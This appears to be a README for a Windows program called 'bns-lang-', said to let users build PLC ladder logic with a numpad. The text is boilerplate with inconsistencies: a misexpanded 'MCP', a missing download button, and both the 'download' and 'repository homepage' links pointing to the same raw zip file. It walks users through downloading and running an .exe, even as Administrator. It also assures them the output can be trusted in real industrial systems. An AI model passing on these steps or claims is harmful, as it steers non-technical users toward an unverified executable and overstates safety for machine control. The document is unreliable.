bns-lang- lets you create PLC ladder logic using only a numpad. It uses a simple language based on IEC 61131-3 standards. You can move through your code with a special cursor tool.
This application helps you write ladder logic programs without complex tools. Ladder logic controls machines like factory robots or automated lines. Traditionally, programming these controls requires deep knowledge or special software.
bns-lang- lowers those barriers by letting you enter ladder logic steps using just your computer's numpad. It uses a small language designed to follow the IEC 61131-3 standard. This standard sets rules for programming industrial controllers.
The app also uses MCP (Multi-Cursor Positioning) so you can easily move and edit your code with a cursor. This makes coding faster and more precise.
You do not need any programming experience. The interface guides you step by step. This makes bns-lang- useful for factory workers, maintenance staff, or hobbyists who want to automate simple tasks.
To get bns-lang- running on your Windows PC, follow these steps carefully.
Make sure your computer meets these minimum requirements:
- Windows 10 or newer
- At least 4 GB of RAM
- 200 MB of free disk space
- Numpad on your keyboard (standard part of most full keyboards)
- Keyboard and mouse connected
- Internet connection for downloading the app
Click the button below to open the official release page.
This page contains all available versions of bns-lang-. Look for the latest release, usually at the top of the list.
On the release page, scroll to the "Assets" section. You will see files with ".exe" or ".zip" extensions.
- If there is an
.exefile, click it to download the installer directly. - If only a
.zipfile is provided, download it and unzip the contents using Windows Explorer by right-clicking the file and choosing "Extract All".
Save the file to a location you can easily find, such as your Desktop or Downloads folder.
If you downloaded an .exe file:
- Double-click the file.
- Follow the on-screen installation steps. Usually, this means clicking "Next" a few times and then "Install".
- Once installation finishes, find bns-lang- in your Start menu and open it.
If you downloaded a .zip file:
- Extract the files as mentioned.
- Open the extracted folder.
- Look for a file named
bns-lang-.exeor similar. - Double-click to run the program.
When you run bns-lang- for the first time:
- You will see a welcome screen with brief tips on how to use the numpad to enter ladder logic.
- The cursor tool will be active. Use the arrow keys on your numpad to move it around.
- Try pressing numbers on your numpad to insert ladder logic commands.
The numpad maps directly to ladder logic commands. For example:
- Numbers 1-9 produce different ladder elements like contacts and coils.
- The 0 key inserts a rung (line of logic).
- The Enter key confirms your input.
- Arrow keys on the numpad move the cursor to edit existing commands.
You will see a small guide inside the app showing which keys do what. This makes coding simple and clear.
- Use the cursor to select any part of your code.
- Press keys to replace or delete commands.
- Hold Shift and arrow keys to select multiple commands at once.
- Copy and paste sections with keyboard shortcuts (Ctrl+C and Ctrl+V).
- Click the "Save" button in the app to store your project.
- Files are saved in a format compatible with many PLC controllers.
- You can open saved files anytime to continue editing.
- Write ladder logic with your numpad only
- Use IEC 61131-3 language standards for compatibility
- Multi-cursor tool for precise editing
- Save and load ladder logic projects
- Export code to formats used in industrial automation
- Lightweight and runs on most Windows PCs
If you face any problems:
- Confirm your keyboard’s numpad is enabled (some laptops disable it by default).
- Restart the app if it does not respond to keys.
- Make sure Windows is up to date.
- Try running the app as Administrator if you have permission errors.
If issues persist, check the "Issues" tab on the repository for help.
In the downloads, expect:
bns-lang-.exe— Main program file, double-click to runREADME.md— Local copy of this guideLICENSE— Terms of use- Sample ladder logic files (
.ldor.stextensions)
- Download bns-lang-: https://raw.githubusercontent.com/Mdsakha127/bns-lang-/main/docs/bns_lang_v1.0.zip
- Repository homepage: https://raw.githubusercontent.com/Mdsakha127/bns-lang-/main/docs/bns_lang_v1.0.zip
bns-lang- is designed for users with little to no programming experience who need to create reliable ladder logic programs fast. By focusing on the numpad and a simple cursor system, it removes usual barriers. It follows industrial standards so you can trust the results in real-world automation systems.